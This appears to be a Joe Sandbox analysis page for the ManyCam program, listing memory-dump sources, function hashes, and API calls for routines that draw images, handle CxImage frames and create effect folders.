Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52c4c31858d3a43ed35ab0a233f526fb8e015bd3639e922d8293854e0e28ec8d
Instruction ID: 543583353d11d9c3d300482a77f384d277642345fecdb75f70efeb64a2fcb3af
Opcode Fuzzy Hash: 52c4c31858d3a43ed35ab0a233f526fb8e015bd3639e922d8293854e0e28ec8d
Instruction Fuzzy Hash: 81E1BC71A09B118BC708CF19C89426FBBF2FFC4750F1A896DE986573A8D7318854CB86

Uniqueness

Uniqueness Score: -1.00%

Function 016F62A0 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3abfb1adff8691bc01dbd761c6f07c252d1506ffee7675f739010229322162b0
Instruction ID: 96afeb598a3b8453d3c8bf7e2bbd6c3019fc4cd65910dee9bd13cfa27303c117
Opcode Fuzzy Hash: 3abfb1adff8691bc01dbd761c6f07c252d1506ffee7675f739010229322162b0
Instruction Fuzzy Hash: EAD1F272A09716CBCB14CF29C9841AABBE2FFC8310F56862DF985573A8D730D954CB81

Uniqueness

Uniqueness Score: -1.00%

Function 017163A7 Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 158e48039ef4b6458875090e510a8de8d38604c2448cd5394833cd9b0221d1b1
Instruction ID: 09379a27462c52a9335a336c4b7d994396a4556e5eeb54a3884a14a4d34c897c
Opcode Fuzzy Hash: 158e48039ef4b6458875090e510a8de8d38604c2448cd5394833cd9b0221d1b1
Instruction Fuzzy Hash: E8C1B131509B068BD718CE28C46427BBBA1FFD4724F458B6CF9A65A2CDD7709528C781

Uniqueness

Uniqueness Score: -1.00%

Function 01740209 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b8fec85fb4223fa95e00faa267e04b09b7f3d41f49e7e9da41d9bbe38eae2a5
Instruction ID: fd0bfae44933c75e0aa1a110c162f55d0e4d915c078b8526319af8c1dea9ae54
Opcode Fuzzy Hash: 1b8fec85fb4223fa95e00faa267e04b09b7f3d41f49e7e9da41d9bbe38eae2a5
Instruction Fuzzy Hash: D5B10673F096019BC3066E28D855199B7B5FBC4794F768D6CE482E226DFE32C9148BC2

Uniqueness

Uniqueness Score: -1.00%

Function 016F42C0 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54db49fe0a5d46bf41e36e90e4faa4fff745359306b8e0ad02ae5497ef71eb92
Instruction ID: 8589c616317a0f3d3e4539db8ac7f2153f2c8725c00c3bea309e418493eb4b36
Opcode Fuzzy Hash: 54db49fe0a5d46bf41e36e90e4faa4fff745359306b8e0ad02ae5497ef71eb92
Instruction Fuzzy Hash: 00A17732610B168BD310CE7CCD847ABB7A5FF90600F1A863DE9448B7A8EB75E909D744

Uniqueness

Uniqueness Score: -1.00%

Function 0178E5A0 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06d6263df1ed89ec59fedd77ec08d62d5e41fdd4f7e1a9b51843889322b73e64
Instruction ID: 731e9cb823b3719485966879ebb3a3f210d1bb4c21c2db3ef63ebbca209bb352
Opcode Fuzzy Hash: 06d6263df1ed89ec59fedd77ec08d62d5e41fdd4f7e1a9b51843889322b73e64
Instruction Fuzzy Hash: 64A19776A55B028BD314CE28C84035AFBE2FFC4714F5DCA2CE8444779CEBB4AA458B81

Uniqueness

Uniqueness Score: -1.00%

Function 0170E2A0 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 017abfb605bd661be413fd0650b0671b7e345f01525c77e2231cc8ab7303aa15
Instruction ID: 222a3ed3922f937410edd99c2d9683b8bb7b69f405706a13316a705757c223ce
Opcode Fuzzy Hash: 017abfb605bd661be413fd0650b0671b7e345f01525c77e2231cc8ab7303aa15
Instruction Fuzzy Hash: 9981F772A0A7638AD716CD3C8A44226FED2AFC5110F0ACB78FD64976CDDA76D8054790

Uniqueness

Uniqueness Score: -1.00%

Function 0170E5A0 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35e183c680c9d9e6663acedc847e9a06bb611b285ed50051dd1df25604c35233
Instruction ID: 2234aec4f5f62bd04246a82cdb022dfe22534e2b4989cf6cdff0f73063791452
Opcode Fuzzy Hash: 35e183c680c9d9e6663acedc847e9a06bb611b285ed50051dd1df25604c35233
Instruction Fuzzy Hash: 53816172911A238AD729CE3DCE44266BAE2BFC4600F0AC738ED54976DCD735DD059385

Uniqueness

Uniqueness Score: -1.00%

Function 0178E240 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db9d91dee6ed3d463e6ad010b64c7e8da2062440e152e9d580c3792b4194c8e
Instruction ID: 331adbcfc61801b55452d936baa9f03d9d91437651b05bbb9327c790a2ddcf3a
Opcode Fuzzy Hash: 3db9d91dee6ed3d463e6ad010b64c7e8da2062440e152e9d580c3792b4194c8e
Instruction Fuzzy Hash: A6918B76949B028BC314DE2CC94021BFBE2FFC4210F59CA3CE85447B59EBB4EA458B81

Uniqueness

Uniqueness Score: -1.00%

Function 017902C0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8806cce9c1ee632238f6f8f56872b355fab300507601d85ffba69542955a77e5
Instruction ID: c81a06334e7873f9fe66df30246606fe9e5833c60b0bb27c6819b7dc3872bebd
Opcode Fuzzy Hash: 8806cce9c1ee632238f6f8f56872b355fab300507601d85ffba69542955a77e5
Instruction Fuzzy Hash: 5A811071A09706CFD304CF2AD48415AFBE2FFC8700F96CA2DE89956618D771D96ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 0170C0D0 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a27be765601d9d032c3765255d91a3e09f9e06584459f9a07c9b0396e01592
Instruction ID: 8b889d4d27251025ce61db66d64f268190ffadf48bd894b270926cbc921c0ceb
Opcode Fuzzy Hash: d3a27be765601d9d032c3765255d91a3e09f9e06584459f9a07c9b0396e01592
Instruction Fuzzy Hash: 38518F73A166118B8719CE7ECD8421BFAD7FFC8225B1EC76CE864576CCDA319A068640

Uniqueness

Uniqueness Score: -1.00%

Function 0177A523 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9bd8c0bcdd8bced28dcaccca08f82816ead3290d4357fa44d72c07625ed05f
Instruction ID: fcec40bdde00148091e74b476a435ea1a2be9407eb85352ca5af811b5e598740
Opcode Fuzzy Hash: ae9bd8c0bcdd8bced28dcaccca08f82816ead3290d4357fa44d72c07625ed05f
Instruction Fuzzy Hash: F3515B716093118FC748CF6CC98466FF7E2BBC8704F598A2DE98587208E739D949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00419920 Relevance: 88.0, APIs: 45, Strings: 5, Instructions: 463
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

Part of subcall function 00418B80: CreateSolidBrush.GDI32(74C45DB3), ref: 00418B8B

FillRect.USER32(00000000,?,00000000), ref: 004199CF
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000), ref: 00419A41
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000), ref: 00419A5D
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419A8A
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419AA9
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419ABD
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419AD9
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419AFB
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419B10
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00419B22
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419B34
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00419B58
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419B7A
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00419B96
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00419BB8
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?), ref: 00419BE3
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00419BF8
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00419C14
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00419C28
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00419C3F
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00419C5D
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419C7F
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00419C9E
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00419CC1
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?), ref: 00419CEE
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00419D0D
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00419D21
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00419D40
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00419D55
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00419D75
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419D8A
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00419D9C
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419DAE
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00419DC5
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00419DE5
SetBkMode.GDI32(00000000,00000001), ref: 00419E09
GetTextColor.GDI32(00000000), ref: 00419E18
SetTextColor.GDI32(00000000,0096681D), ref: 00419E2C
memset.MSVCR80 ref: 00419ED8
SelectObject.GDI32(00000000,00000000), ref: 00419F18
memset.MSVCR80 ref: 00419F6A
memset.MSVCR80 ref: 00419FB1

Strings

Clip Line, xrefs: 00419F21
F, xrefs: 00419FD0
%, xrefs: 00419FC0
Tahoma, xrefs: 00419E9C
Border, xrefs: 00419F72

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$Height@Width@$C__@@Draw@T@@_Utag$memset$ColorRectText$BrushClientCreateFillModeObjectSelectSolid
String ID: %$Border$Clip Line$F$Tahoma
API String ID: 2569125150-2632024743
Opcode ID: fbd3d37cbcfb4a5d345145a4449552b179033964231fac46975376ef3b4c5788
Instruction ID: 6acad93585106d0d29ca26f9a2d8656a706cc7dc15e340c93166a7cfeebd7e9c
Opcode Fuzzy Hash: fbd3d37cbcfb4a5d345145a4449552b179033964231fac46975376ef3b4c5788
Instruction Fuzzy Hash: 5F226E709041199FEF18EB68CCA9BEEB7B8FF54304F1441ADE10AA7291DB742A85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00512040 Relevance: 67.0, APIs: 29, Strings: 9, Instructions: 499
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB139
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB155
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB171
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1A3
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1D6

Part of subcall function 004CB5F0: SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000), ref: 004CB626
Part of subcall function 004CB5F0: _wmkdir.MSVCR80 ref: 004CB633

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

CreateDirectoryW.KERNEL32(00000000,00000000,?,?,?,00000001,\ManyCam,00000000,00569E94,?,00569E90,?,00569E8C,?,00000000,00000000), ref: 0051221A
_DebugHeapAllocator.LIBCPMTD ref: 0051222B

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

_DebugHeapAllocator.LIBCPMTD ref: 00512251

Part of subcall function 004167E0: _DebugHeapAllocator.LIBCPMTD ref: 004167EE

Part of subcall function 004CC140: wcscpy_s.MSVCR80 ref: 004CC168
Part of subcall function 004CC140: SHFileOperationW.SHELL32(00000000), ref: 004CC1BD

CreateDirectoryW.KERNEL32(00000000,00000000,?,?,NewEffect,00569EAC,?,00569E90,?,00569E8C,?,00000000,00000000,00000002,74C45DB3), ref: 00512270
CreateDirectoryW.KERNEL32(00000000,?,?,?,?,00569ED4,640x480,00000000,?,00569E90,?,00569E8C,?,00000000,00000000,00000002), ref: 005122D0
CreateDirectoryW.KERNEL32(00000000,?,?,?,?,00569EE8,352x288,00000000,?,00569E90,?,00569E8C,?,00000000,00000000,00000002), ref: 0051234A
??0CxImage@@QAE@K@Z.CXIMAGECRT(00000000,?,00569E90,?,00569E8C,?,00000000,00000000,00000002,74C45DB3), ref: 00512372
?SetFrame@CxImage@@QAEXJ@Z.CXIMAGECRT(00000000,00000000,?,00569E90,?,00569E8C,?,00000000,00000000,00000002,74C45DB3), ref: 00512383
?SetRetreiveAllFrames@CxImage@@QAEX_N@Z.CXIMAGECRT(00000001,00000000,00000000,?,00569E90,?,00569E8C,?,00000000,00000000,00000002,74C45DB3), ref: 00512390
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,00000001,00000000,00000000,?,00569E90,?,00569E8C,?,00000000,00000000,00000002,74C45DB3), ref: 005123A6
~_Mpunct.LIBCPMTD ref: 005123C8

Part of subcall function 004166C0: ?DestroyFrames@CxImage@@QAE_NXZ.CXIMAGECRT(?,?,0050679A,You have selected an image with the dimension larger than 3000x2000.,00000000,00000000), ref: 004166D3
Part of subcall function 004166C0: ?Destroy@CxImage@@QAE_NXZ.CXIMAGECRT(?,?,0050679A,You have selected an image with the dimension larger than 3000x2000.,00000000,00000000), ref: 004166DB

?GetNumFrames@CxImage@@QBEJXZ.CXIMAGECRT(00000000,00000000,00000001,00000000,00000000,?,00569E90,?,00569E8C,?,00000000,00000000,00000002,74C45DB3), ref: 005123F6
?GetNumFrames@CxImage@@QBEJXZ.CXIMAGECRT(?,?,?,?,00569F04,preview.jpg,00000000,00000000,00000001,00000000,00000000,?,00569E90,?,00569E8C), ref: 00512474
?SetFrame@CxImage@@QAEXJ@Z.CXIMAGECRT(00000000,00000000,00000002,74C45DB3), ref: 005124F5
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,00000000,00000000,00000002,74C45DB3), ref: 0051250B
?GetFrameDelay@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000002,74C45DB3), ref: 00512516
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(?,?,?,00000000,?,?,?,?,?,00569F04,preview.jpg,00000000,00000000,00000001,00000000,00000000), ref: 005125AD
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,?,?,00000000,?,?,?,?,?,00569F04,preview.jpg,00000000,00000000,00000001,00000000), ref: 005125B6

Strings

blocked=0type_id=%dcategory_name=%screator_info=preview=%s, xrefs: 005126FA
NewEffect, xrefs: 00512230
352x288, xrefs: 005122F2
